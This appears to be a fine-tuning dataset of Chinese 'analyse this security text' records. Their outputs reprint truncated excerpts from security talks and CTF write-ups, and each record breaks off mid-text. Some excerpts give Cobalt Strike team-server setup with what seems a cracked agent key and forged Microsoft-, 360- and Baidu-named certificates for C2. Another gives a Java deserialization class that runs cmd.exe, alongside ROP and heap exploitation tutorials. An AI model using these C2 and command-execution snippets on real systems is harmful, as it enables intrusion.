-Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl .keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpa th cobaltstrike.jar -Duser.language=en -javaagent:CSAgent.jar=3a4425490f389aeec3 12bdd758ad2b99 server.TeamServer $* 2. # Outlook keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname \"CN=Outlook.live.com, OU=Microsoft Corporation # 360 keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey - keyalg RSA -alias 360.com -dname \"CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST =Cyberspace, C=CN\" # baidu keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey - keyalg RSA -alias baidu.com -dname \"CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=C haoYang, C=CN\" # keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstri ke.store -deststoretype pkcs12 PS: 3. HTTPS 3.1 Let's Encrypt HTTPsC2DoneRight.sh HTTPS @ func_install_letsencrypt func_install_letsencrypt(){ echo '[Starting] cloning into letsencrypt!' # git clone https://github.com/certbot/certbot /opt/letsencrypt echo '[Success] letsencrypt is built!' # cd /opt/letsencrypt echo '[Starting] to build letsencrypt cert!' certbot --apache -d $domain -n --register-unsafely-without-email --agree-tos if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then echo '[Success] letsencrypt certs are built!' else echo \"[ERROR] letsencrypt certs failed to build. Check that DNS A recor d is properly configured f exit 1 fi } sudo apt install -y git lsof snap sudo snap install core; sudo snap refresh core sudo apt remove certbot sudo snap install certbot sudo ln -s /snap/bin/certbot /usr/bin/certbot wget https://raw.githubusercontent.com/killswitch-GUI/CobaltStrike-Tool", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## Colors (ppc/Programming, 100p) ### PL Version `for ENG version scroll down` System wyświetlał na stronie internetowej obrazek złożony z kwadratów. Wsystkie kwadraty oprócz jednego miały taki sam kolor - jeden z nich miał lekko inny odcień. Celem zadania było kliknięcie w ten odmienny kwadrat. System rejestrował gdzie kliknęliśmy i na tej podstawie oceniał poprawność rozwiązania i prezentował kolejny przykład. Celem było rozwiązanie kilkudziesieciu przykładów pod rząd w celu uzyskania flagi. ![](./squares.png) Aby rozwiązać zadany problem przygotowaliśmy skrypt w pythonie z użyciem Python Images Library dostępny [tutaj](colors.py). Skrypt pobiera zadany obraz, wylicza rozkład kolorów pikseli i na tej podstawie wybiera najrzadziej występujący kolor (pomiajając biały, który oddziela kwadarty od siebie). Następnie skanujemy obraz w poszukiwaniu jakiegoś piksela tego koloru i zwracamy pozycję tego piksela jako rozwiązanie. def getPixel(picture_path): fd = urllib.urlopen(picture_path) image_file = io.BytesIO(fd.read()) im = Image.open(image_file) colors_distribution = im.getcolors() non_white = [color for color in colors_distribution if color[1] != (255, 255, 255)] ordered = sorted(non_white, key=lambda x: x[0], reverse=False) print(ordered[0]) width, height = im.size for index, color in enumerate(im.getdata()): if color == ordered[0][1]: y = index / width x = index % width return x, y Po rozwiązaniu kilkudziesięciu przykładów otrzymujemy: `TMCTF{U must have R0807 3Y3s!}` ### ENG Version The system displays on a webpage an image consisting of squares. All but one have the same color - one has a slighly different shade. The task was to click in on the square with different color. The system would register the click location and decide if our solution is correct. We had to solve multiple consecutive examples in order to get the flag. ![](./squares.png) To solve the task we prepared a python script using Python Images Library available [here](colors.py). The script downlo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### 基本 ROP概述 随着 NX 保护的开启以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果攻击者们也提出来相应的方法来绕过保护目前主要的是 ROP(Return Oriented Programming)其主要思想是在**栈缓冲区溢出的基础上利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值从而控制程序的执行流程**所谓gadgets 就是以 ret 结尾的指令序列通过这些指令序列我们可以修改某些地址的内容方便控制程序的执行流程 之所以称之为 ROP是因为核心在于利用了指令集中的 ret 指令改变了指令流的执行顺序ROP 攻击一般得满足如下条件 - 程序存在溢出并且可以控制返回地址 - 可以找到满足条件的 gadgets 以及相应 gadgets 的地址 如果 gadgets 每次的地址是不固定的那我们就需要想办法动态获取对应的地址了 ### ret2text原理 ret2text 即控制程序执行程序本身已有的的代码(.text)其实这种攻击方法是一种笼统的描述我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets)这就是我们所要说的ROP 这时我们需要知道对应返回的代码的位置当然程序也可能会开启某些保护我们需要想办法去绕过这些保护 ### ret2text例子 其实在栈溢出的基本原理中我们已经介绍了这一简单的攻击在这里我们再给出另外一个例子bamboofox 中介绍 ROP 时使用的 ret2text 的例子 点击下载: [ret2text](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text) 首先查看一下程序的保护机制 ```shell ret2text checksec ret2text Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出程序是 32 位程序其仅仅开启了栈不可执行保护然后我们使用 IDA 来查看源代码 ```C int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts(\"There is something amazing here, do you know anything?\"); gets((char *)&v4); printf(\"Maybe I will tell you next time !\"); return 0; } ``` 可以看出程序在主函数中使用了 gets 函数显然存在栈溢出漏洞此后又发现 ```asm .text:080485FD secure proc near .text:080485FD .text:080485FD input = dword ptr -10h .text:080485FD secretcode = dword ptr -0Ch .text:080485FD .text:080485FD push ebp .text:080485FE mov ebp, esp .text:08048600 sub esp, 28h .text:08048603 mov dword ptr [esp], 0 ; timer .text:0804860A call _time .text:0804860F mov [esp], eax ; seed .text:08048612 call _srand .text:08048617 call _rand .text:0804861C mov [ebp+secretcode], eax .text:0804861F lea eax, [ebp+input] .text:08048622 mov [esp+4], eax .text:08048626 mov dword ptr [esp], offset unk_8048760 .text:0804862D call ___isoc99_scanf .text:08048632 mov eax, [ebp+input] .text:08048635 cmp eax, [ebp+secretcode] .te", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents eBPF ELFs JMPing Through the Windows Richard Johnson Trellix #BHUSA @BlackHatEvents Information Classification: General Whoami Richard Johnson Senior Principal Security Researcher, Trellix Vulnerability Research & Reverse Engineering Owner, Fuzzing IO Advanced Fuzzing and Crash Analysis Training Contact rjohnson@fuzzing.io @richinseattle Shout out to the Trellix Interns! Kasimir Schulz Andrea Fioraldi @abraxus7331 @andreafioraldi #BHUSA @BlackHatEvents Information Classification: General Outline Origins and Applications of eBPF Architecture and Design of eBPF for Windows Attack Surface of APIs and Interfaces Fuzzing Methodology and Results Concluding Thoughts #BHUSA @BlackHatEvents Information Classification: General What is eBPF eBPF is a virtual CPU architecture and VM aka Berkley Packet Filter extended to a more general purpose execution engine as an alternative to native kernel modules eBPF programs are compiled from C into the virtual CPU instructions via LLVM and can run in emulated or JIT execution modes and includes a static verifier as part of the loader Execution is sandboxed and highly restricted in what memory it can access and how many instructions each eBPF program may contain eBPF is designed for high speed inspection and modification of network packets and program execution #BHUSA @BlackHatEvents Information Classification: General Origins of eBPF Berkeley Packet Filter technology was developed in 1992 as a way to filter network packets BPF was reimplemented for most Unix style operating systems and also ported to userland Most users have interacted with BPF via tcpdump, wireshark, winpcap, or npcap Using tcpdump and supplying a filter string like dst host 10.10.10.10 and (tcp port 80 or tcp port 443) automatically compiles into a BPF filter for high performance. We now call this older BPF interface cBPF or Classic BPF #BHUSA @BlackHatEvents Information Classification: General Origins of eBPF In December 2014, Linux kernel", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSee no evil, hear no evil Hacking invisibly and silently with light and sound www.pwc.co.uk July 2017 Matt Wixey PwC UK PwC Intro Matt Wixey Lead the research function on PwCs UK pentesting team Run The Dark Art Lab research blog Previously worked in LEA, leading R&D team PwC Agenda Part I: Jumping air-gaps Part II: Surveillance and counter-surveillance Part III: Bantz Part IV: Summary and future research PwC Disclaimers The views and opinions expressed in this talk are not necessarily those of PwC All content is for educational purposes only. Read up on relevant laws, only attack systems you own or have permission to attack! What this presentation isnt I am in no way an electronics expert PwC Dunning-Kruger Curve Me Mt. Stupid PwC PwC PwC Part I Jumping air-gaps A Sensor Darkly Dreadphone Spectregram PwC Caveats Virtually all research in this area assumes that the attacker has already managed to infect at least one host Attacker has physical or near-physical access Exfiltration is of small pieces of data PwC Previous research Van Eck phreaking e.g. Kuhn (2003); Halevi and Saxena (2012) AirHopper (Guri et al 2014) radio frequencies BitWhisper (Guri et al 2015) heat VisiSploit (Guri et al 2016) codes & camera Fansmitter (Guri et al 2016) acoustic SPEAKE(a)R (Guri et al 2016) speakers to mics xLED (Guri et al 2017) Hasan et al (2013) great overview of techniques Including ALS for mobile devices Lots more! PwC ALS Ambient Light Sensor Increasingly common Laptops Monitors Smartphones Tablets Smartwatches PwC A Sensor Darkly The plan: Create malware to read light (lux) values from the ALS through the API Malware executes different commands according to changes in the intensity Problems: Hurr durr, Ill just shine this massive torch onto my laptop to execute commands Need exfil capability PwC Demo PwC Exfiltration PwC Exfiltration PwC Results PwC Prototype 2 PwC Dreadphone C2 using near-ultrasonic sounds (16-20KhZ) Standar", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nEvolution of iOS Data Protection and iPhone Forensics: from iPhone OS to iOS 5 Andrey Belenko & Dmitry Sklyarov Elcomsoft Co. Ltd. 1 Agenda Basics iOS Security before iOS 4 iOS 4 Data Protection iOS 5 Data Protection Changes Summary 2 Forensics 101 Acquisition Analysis Reporting GOALS: 1. Assuming physical access to the device extract as much informa>on as prac>cal 2. Leave as li@le traces/ar>facts as prac>cal 3 iOS: Why Even Bother? More than 5 years on the market 360+ million iOS devices sold worldwide 6 iPhones, 4 iPods, 3 iPads Smart devices they do carry a lot of sensitive data Corporate deployments are increasing There was, is, and will be a real need in iPhone Forensics 4 iPhone Forensics 101 Passcode Prevents unauthorized access to the device Bypassing passcode is usually enough Keychain System-wide storage for sensitive data Encrypted Storage encryption 5 iPhone Forensics 101 Logical: iPhone Backup Ask device to produce a backup Device must be unlocked Device may produce encrypted backup Limited amount of information Get backup from iCloud Physical: filesystem acquisition Boot-time exploit to run unsigned code Device lock state isnt relevant Can get all information from the device Physical+: flash memory acquisition Same requirements as for physical Also allows recovery of deleted files! 6 The Inception Runs iPhone OS (up to 3.1.3) Based on Mac OS X Has a crypto co-processor 06/29/2007 iPhone 7 Hardware Keys Two embedded AES keys: GID shared by all devices of same family UID unique for each and every device No known ways to extract GID/UID keys 06/29/2007 iPhone 8 Device Keys To avoid unnecessary exposure, usage of UID/ GID keys is limited Device keys are computed from hardware keys during boot: 0x835 = AES_Enc (UID, 01010101010101010101010101010101); 0x836 = AES_Enc (UID, 00E5A0E6526FAE66C5C1C6D4F16D6180); 0x837 = AES_Enc (GID, 345A2D6C5050D058780DA431F0710E15); 0x838 = AES_Enc (UID, 8C8318A27D7F030717D2B8FC5514F8E1); 9 iPhone OS Se", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOutsmarting the Smart City DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS MODERN CITIES & 2 Page Researcher Bios Daniel Crowley Research Baron at IBM X-Force Red Pen tester since 2004 Locksport enthusiast and past competition winner Actually holds the title of Baron (in Sealand) 3 Page Researcher Bios Jennifer Savage Security Researcher at Threatcare Black Hat review board member Experience includes: development vulnerability assessment vulnerability management penetration testing security research 4 Page Researcher Bios Mauro Paredes Managing Consultant at IBM X-Force Red Passion for security flaws and their corrections Formerly developer, net/server admin, security architect Pen tester for many years 20+ years infosec experience in multiple industries 5 Page What kind of tech makes a city smart? Industrial Internet of Things Urban Automation Public Safety / Emergency Management Intelligent Transportation Systems Metropolitan Area Networks 6 Page Limited citizen privacy and risk management options You dont have to buy an Alexa You can buy a non-smart TV You can buy a feature phone (or forego a cell phone) You can buy an ancient car Can you move to a city that isnt smart? 7 Page V2I, V2V, OBD-III and DSRC Connected vehicles communicate with each other, and with city infrastructure, as travel occurs. While DSRC allows unique identification, the proposed OBD-III standard is much more powerful. 8 Page Hangzhou City Brain In China, people have less concern with privacy, which allows us to move faster - Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017 9 Page Smart streetlights with cameras GEs Bill Ruh says its up to each city to set policies around the data collected by the sensors and how it can be used. 10 Page Facial recognition In 2017 the former head of Singapores civil service Peter Ong said Singapore wants to deploy facial recognition technology to all 110,000 lampposts in the country. 11 Page Dubai robotic pol", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### Unsorted Bin Attack概述 Unsorted Bin Attack顾名思义该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关 Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针 Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值 ### Unsorted Bin基本来源 1. 当一个较大的 chunk 被分割成两半后如果剩下的部分大于 MINSIZE就会被放到 unsorted bin 中 2. 释放一个不属于 fast bin 的 chunk并且该 chunk 不和 top chunk 紧邻时该 chunk 会被首先放到 unsorted bin 中关于top chunk的解释请参考下面的介绍 3. 当进行 malloc_consolidate 时可能会把合并后的 chunk 放到 unsorted bin 中如果不是和 top chunk 近邻的话 ### Unsorted Bin基本使用情况 1. Unsorted Bin 在使用的过程中采用的遍历顺序是 FIFO**即插入的时候插入到 unsorted bin 的头部取出的时候从链表尾获取** 2. 在程序 malloc 时如果在 fastbinsmall bin 中找不到对应大小的 chunk就会尝试从 Unsorted Bin 中寻找 chunk如果取出来的 chunk 大小刚好满足就会直接返回给用户否则就会把这些 chunk 分别插入到对应的 bin 中 ### Unsorted Bin Leak 原理 如果我们可以把正确的 `fd` 指针 leak 出来就可以获得一个与 `main_arena` 有固定偏移的地址这个偏移可以通过调试得出而`main_arena` 是一个 `struct malloc_state` 类型的全局变量是 `ptmalloc` 管理主分配区的唯一实例说到全局变量立马可以想到他会被分配在 `.data` 或者 `.bss` 等段上那么如果我们有进程所使用的 `libc` 的 `.so` 文件的话我们就可以获得 `main_arena` 与 `libc` 基地址的偏移实现对 `ASLR` 的绕过 那么如何取得 `main_arena` 与 `libc` 基址的偏移呢这里提供两种思路 #### 通过 __malloc_trim 函数得出 在 `malloc.c` 中有这样一段代码 ```cpp int __malloc_trim (size_t s) { int result = 0; if (__malloc_initialized < 0) ptmalloc_init (); mstate ar_ptr = &main_arena;//<=here! do { __libc_lock_lock (ar_ptr->mutex); result |= mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr->mutex); ar_ptr = ar_ptr->next; } while (ar_ptr != &main_arena); return result; } ``` 注意到 `mstate ar_ptr = &main_arena;` 这里对 `main_arena` 进行了访问所以我们就可以通过 IDA 等工具分析出偏移了 比如把 `.so` 文件放到 IDA 中找到 `malloc_trim` 函数就可以获得偏移了 #### 通过 __malloc_hook 直接算出 比较巧合的是`main_arena` 和 `__malloc_hook` 的地址差是 0x10而大多数的 libc 都可以直接查出 `__malloc_hook` 的地址这样可以大幅减小工作量以 pwntools 为例 ```python main_arena_offset = ELF(\"libc.so.6\").symbols[\"__malloc_hook\"] + 0x10 ``` 这样就可以获得 `main_arena` 与基地址的偏移了 ### 实现 Unsorted Bin Leak 的方法 一般来说要实现 leak需要有 `UAF`将一个 `chunk` 放入 `Unsorted Bin` 中后再打出其 `fd`一般的笔记管理题都会有 `show` 的功能对处于链表尾的节点 `show` 就可以获得 `libc` 的基地址了 特别的`CTF` 中的利用堆往往是刚刚初始化的所以 `Unsorted Bin` 一般都是干净的当里面只存在一个 `bin` 的时候该 `bin` 的", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJava安全之反序列化回显研究 0x00 前言 续上文反序列化回显与内存马继续来看看反序列化回显的方式上篇文中其实是利用中间件中存储的 Request 和 Response 对象来进行回显但并不止这么一种方式 0x01 回显方式 1. 中间件回显 2. defineClass 3. Linux描述符回显 4. RMI绑定实例 5. URLClassLoader抛出异常 6. 写文件cssjs 7. dnslog defineClass异常回显 异常类 package com.nice0e3; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.charset.Charset; public class echo { public echo(String cmd) throws Exception { InputStream stream = (new ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", cmd})).start().getInputStream(); InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName(\"gbk\")); BufferedReader bufferedReader = new BufferedReader(streamReader); StringBuffer buffer = new StringBuffer(); String line = null; while ((line = bufferedReader.readLine()) != null) { buffer.append(line).append(\"\\n\"); } throw new Exception(buffer.toString()); } } public class demo extends ClassLoader{ private static String Classname = \"com.nice0e3.echo\"; private static byte[] ClassBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 88, 10, 0, 24, 0, 46, 7, 0, 47, 7, 0, 48, 8, 0, 49, 8, 0, 50, 10, 0, 2, 0, 51, 10, 0, 2, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 10, 0, 57, 0, 58, 10, 0, 9, 0, 59, 7, 0, 60, 10, 0, 13, 0, 61, 7, 0, 62, 10, 0, 15, 0, 46, 10, 0, 13, 0, 63, 10, 0, 15, 0, 64, 8, 0, 65, 7, 0, 66, 10, 0, 15, 0, 67, 10, 0, 20, 0, 68, 7, 0, 69, 7, 0, 70, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 18, 76, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 115, 116, 114, 1", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking in a Foreign Language: A Network Security Guide to Russia Kenneth Geers CISSP DEFCON 13 Briefing Outline 1. Russia as a Threat 2. Russia as a Resource 3. Crossing Borders: Methodology 4. The International Political Scene Russia as a Threat Hacking: A Russian Perspective Excellent technical education Understanding of networks, programming 1980s: hacked American software in order to make programs work in USSR Now: many skilled people, too few jobs Russian police have higher priorities! Financial Incentive Internet access is expensive Cheaper to steal access and services Legit MS Office = 2 months salary CD burner = two weeks salary Russian outdoor markets: MS Operating System a few dollars Hacking: more social approval? Communal sharing culture Cybercrime Financial crimes: banks, fraud, piracy Russian citizen Igor Kovalyev: Hacking is one of the few good jobs left. Vladimir Levin: 1994-95 transferred $10 million from Citibank FBI NYC and Russian Telecoms traced activity to Levins St Petersburg employer Microsoft: Oct 2000: Traced to IP in St. Petersburg, Russia Coreflood and Joe Lopez Keyloggers and Ebay Dmitry Sklyarov DefCon IX speaker First Indictment under Digital Millennium Copyright Act (DMCA) Advanced eBook Processor \"AEBPR Five Adobe copyright violations Dmitry: Computer programmer and cryptanalyst Long confession on FBI site Cooperated in prosecuting Elcomsoft Company acquitted Victory for the EFF! ZDE = $ Russian MVD: Cyber crime doubled in year 2003 11,000 reported cases New techniques equal new revenue High profits bring more investment FBI: Millions of credit card #'s stolen by hacker groups in Russia and Ukraine Arrests in 2004: International gambling extortion ring Russian student fined for spamming IIS Annihilation Sophisticated HangUP Web attack Exploits Microsoft IIS, Internet Explorer Appends malicious JavaScript onto webpages of infected site Web surfers viewing infected pages invisibly redire", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSocial Networking Special Ops: Extending data visualization tools for faster pwnage Chris Sumner @TheSuggmeister www.securityg33k.com Latest Document The latest revision of this paper will be available at http://www.securityg33k.com/wp/BH10.pdf after the conference. This is revision r1.2 Disclaimer I am not writing on behalf of my employer. The information and perspectives I present are personal and do not represent those of my employer. Acknowledgements Roelof Temmingh, Andrew MacPherson, Dominic White, Adrian Mahieu, Tony Hawk, Jerome Case, @l0sthighway, @alien8. About the Author Chris @TheSuggmeister Sumner has been directly involved in Corporate Information Security since 1999 and has maintained a passion for security since seeing Wargames when it first came out. After a lengthy stint as a Pivot Chart creating, PowerPoint wielding, Security Manager for a business division that alone would make the Fortune100, he has turned his attention to a more geeky pursuit and is currently focused on Security in the Development Lifecycle. Outside the corporate world Chris is a data mining, analysis and visualization geek at heart and also enjoys hiding skateboards in the UK for Tony Hawks twitter hunts. 2 Social Networking Special Ops: Extending data visualization tools for faster Pwnage Chris Sumner www.securityg33k.com | TheSuggmeister@gmail.com | twitter.com/TheSuggmeister Abstract This paper describes how data visualization tools can be extended to speed up the analysis of social networks. It shows how a combination of data mining, named entity recognition and visualization can quickly draw attention to interesting social relationships. Two cases studies describe these techniques in the context of social networking. The first case study outlines how an analysis of skateboard legend Tony Hawks twitter hunt had an unexpected benefit of uncovering top talkers, including a member of Tonys staff.. The second case study illustrates how these techniques have been used to enumer", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAnthony Lai Security Researcher@VXRL Taste the power of Crimeware! (HIT 2010 Edition) Special Thanks HIT fellows Thank you to PK and Birdman My wife and Pomeranian family My Bio From Hong Kong Worked in penetration test, code audit and threat analysis Interested in reverse engineering and malware analysis as well as programming Story begins > At 2300 Hack the crimeware Got a link http://pastie.org/pastes/888690 from www.malwaredomainlist.com Its features From the pastie link, it includes the following features: It is undetectable from anti-virus scanner Obfuscate the PDF payload randomly Checking whether the domain is on the blacklist Prevent Wepatweb, Jsunpack and other Javascript unpackers to decode the page. To guarantee high level of penetration and successful exploit, it could offer various exploits, which are shown below: Adobe Acrobat Reader Exploits (including CVE-2010-0188) JRE (GSB & SERIALIZE) MDAC (IE) MS09-032 (IE) MS09-002 (IE) CVE-2010-0806 (IE) Aha I love the evil feeling Mission 1: Try it out Understand and get to know how it works The only way is to grab a trial account Social Engineering Add the contact in IM. Wait for reply 2 days later Replies and Conversation 6.1 Conversation with Crimepack key person via IM on 15 April 2010 2:17:06 AM Buyer: Hi dude 2:17:10 AM Buyer: I come from Hong Kong 2:17:17 AM Buyer: I want to purchase the Crimepack. 2:17:26 AM Buyer: how can I try it out? 2:17:29 AM Buyer: what is the price/ 2:17:39 AM Buyer: how to pay it? 2:17:44 AM Buyer: and any discount for me, dude? Changed status to Offline (2:18:53 AM) Changed status to Online (2:18:54 AM) 2:20:56 AM NEW VERSION 2.8.2 AVAILABLE NOW: what forum are u from? 2:21:06 AM Buyer: fourm? 2:21:09 AM Buyer: pastie.org 2:23:15 AM NEW VERSION 2.8.2 AVAILABLE NOW: and where did you find the pastie link? 2:23:40 AM Buyer: I have forgotten it for a while, dude, as I just search crimepack in Google. 2:24:09 AM Buyer: crimeware 2:26:07 A", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nUrban Exploration - A Hackers View phreakmonkey (K.C.) mutantMandias (Mandias) phreakmonkey.com Background: What is Urban Exploration? Urban Exploration is the practice of discovering, exploring, and often photographing the more off-beat areas of human civilization. This hobby consists of a lot more than just poking about in abandoned buildings and storm drains and hanging out on web boards trying to impress people. Being an urban explorer is a whole way of looking at the world, where every ladder, door, window, grate and hole in the ground is a possible portal to adventure. - Jeff Chapman (Ninjalicious), 2004 What do we explore? Civil Buildings: Hospitals, Schools, Institutions Industrial Buildings: Factories, Transportation Utilities & Infrastructure: Steam Tunnels, Storm Drains, Utility Corridors Residential Hotels, High-rises, Houses (Shanties) The UrbEx Subculture Jeff Chapman (Ninjalicious) coined Urban Exploration & operated the zine Infiltration from 1996 2005. Several web communities have sprung up over the last ten years. UER.CA (mostly USA) DegGi5.com (NE USA) 28dayslater.co.uk (UK) Others... Explorers vs. Tourists vs. Scenesters Birds of a Feather What Urban Explorers and Computer Hackers have in common Perspective \"Behind-the-scenes\" view of the word Ability to look at things abstractly Willing to use non-standard entry points Secrecy Built around a subculture with counterculture tendencies Distrusting of newbies Hesitant to allow outsiders in Script Kiddies and Tourists Gray Area Activities Do you use your powers for good or for awesome? Sense of \"moral superiority\" while engaging in legally questionable behavior Birds of a Feather What Urban Explorers and Computer Hackers have in common Frighteningly similar lack of fashion sense. Black t-shirts are the shiznit, yo! Social Engineering Incredibly effective in UrbEx and Hacking Higher stakes (walking away vs. county lock-up) Exploitation by others Taggers vs. Website Defacers Scrappers vs. Phishers Dru", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 工具 --- ## jconsole jconsole 是 JDK 自带的 GUI 工具jconsole(Java Monitoring and Management Console) 是一种基于 JMX 的可视化监视与管理工具 jconsole 的管理功能是针对 JMX MBean 进行管理由于 MBean 可以使用代码中间件服务器的管理控制台或所有符合 JMX 规范的软件进行访问 注意使用 jconsole 的前提是 Java 应用开启 JMX ### 开启 JMX Java 应用开启 JMX 后可以使用 jconsole 或 jvisualvm 进行监控 Java 程序的基本信息和运行情况 开启方法是在 java 指令后添加以下参数 ```java -Dcom.sun.management.jmxremote=true -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Djava.rmi.server.hostname=127.0.0.1 //指定 Java 程序运行的服务器 -Dcom.sun.management.jmxremote.port=18888 //指定 JMX 服务监听端口 ``` ### 连接 jconsole 如果是本地 Java 进程jconsole 可以直接绑定连接 如果是远程 Java 进程需要连接 Java 进程的 JMX 端口 ### jconsole 界面 进入 jconsole 应用后可以看到以下 tab 页面 * 概述 - 显示有关 Java VM 和监视值的概述信息 * 内存 - 显示有关内存使用的信息内存页相当于可视化的 jstat 命令 * 线程 - 显示有关线程使用的信息 * 类 - 显示有关类加载的信息 * VM 摘要 - 显示有关 Java VM 的信息 * MBean - 显示有关 MBean 的信息 --- ## jvisualvm jvisualvm 是 JDK 自带的 GUI 工具jvisualvm(All-In-One Java Troubleshooting Tool) 是多合一故障处理工具它支持运行监视故障处理性能分析等功能 ### jvisualvm 概述页面 jvisualvm 概述页面可以查看当前 Java 进程的基本信息如JDK 版本Java 进程JVM 参数等 ### jvisualvm 监控页面 ### jvisualvm 线程页面 jvisualvm 线程页面展示了当前的线程状态 jvisualvm 还可以生成线程 Dump 文件帮助进一步分析线程栈信息 ### jvisualvm 抽样器页面 jvisualvm 可以对 CPU内存进行抽样帮助我们进行性能分析 --- ## MAT MAT 即 Eclipse Memory Analyzer Tool 的缩写 MAT 本身也能够获取堆的二进制快照该功能将借助 `jps` 列出当前正在运行的 Java 进程以供选择并获取快照由于 `jps` 会将自己列入其中因此你会在列表中发现一个已经结束运行的 `jps` 进程 MAT 可以独立安装也可以作为 Eclipse IDE 的插件安装 - http://www.eclipse.org/mat/downloads.php ### MAT 配置 MAT 解压后安装目录下有个 `MemoryAnalyzer.ini` 文件 `MemoryAnalyzer.ini` 中有个重要的参数 `Xmx` 表示最大内存默认为`-vmargs -Xmx1024m` 如果试图用 MAT 导入的 dump 文件超过 1024 M会报错 ``` An internal error occurred during: \"Parsing heap dump from XXX\" ``` 此时可以适当调整 Xmx 大小如果设置的 Xmx 数值过大本机内存不足以支撑启动 MAT 会报错 ``` Failed to create the Java Virtual Machine ``` --- ## Arthas - https://github.com/alibaba/arthas Arthas 是 Alibaba 开源的 Java 诊断工具深受开发者喜爱在线排查问题无需重启动态跟踪 Java 代码实时监控 JVM 状态 Arthas 支持 JDK 6+支持 Linux/Mac/Windows采用命令行交互模式同时提供丰富的 Tab 自动补全功能进一步方便进行问题的定位和诊断 ### 安装 * 使用 arthas-boot(推荐) 下载 arthas-bo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## pcapin (forensics, 150p, 41 solves) > We have extracted a pcap file from a network where attackers were present. We know they were using some kind of file transfer protocol on TCP port 7179. We're not sure what file or files were transferred and we need you to investigate. We do not believe any strong cryptography was employed. > > Hint: The file you are looking for is a png > pcapin_73c7fb6024b5e6eec22f5a7dcf2f5d82.pcap ### PL Version `for ENG version scroll down` Dostajemy [plik .pcap](pcapin.pcap). Jest w nim tylko jeden interesujący stream tcp, więc wyciągamy od razu z niego dane (tylko wysyłane z serwera do klienta, chociaż wygląda na to że klient wysyła dane tym samym protokołem) do [osobnego pliku](rawdata.bin). W tym momencie rozpoczyna się analiza protokołu. Np. na pierwszy rzut oka widać powtarzający się fragment `00440000073200010000000000` w pierwszej części, a później wariacje na temat `00D423C60732001C00010000`. Oszczędzimy może analizy krok po kroku (bo była długa i burzliwa), ale kluczowe było zauważenie że dane dzielą się na pakiety, i pierwszy word każdego pakietu to długość tego pakietu. Wtedy 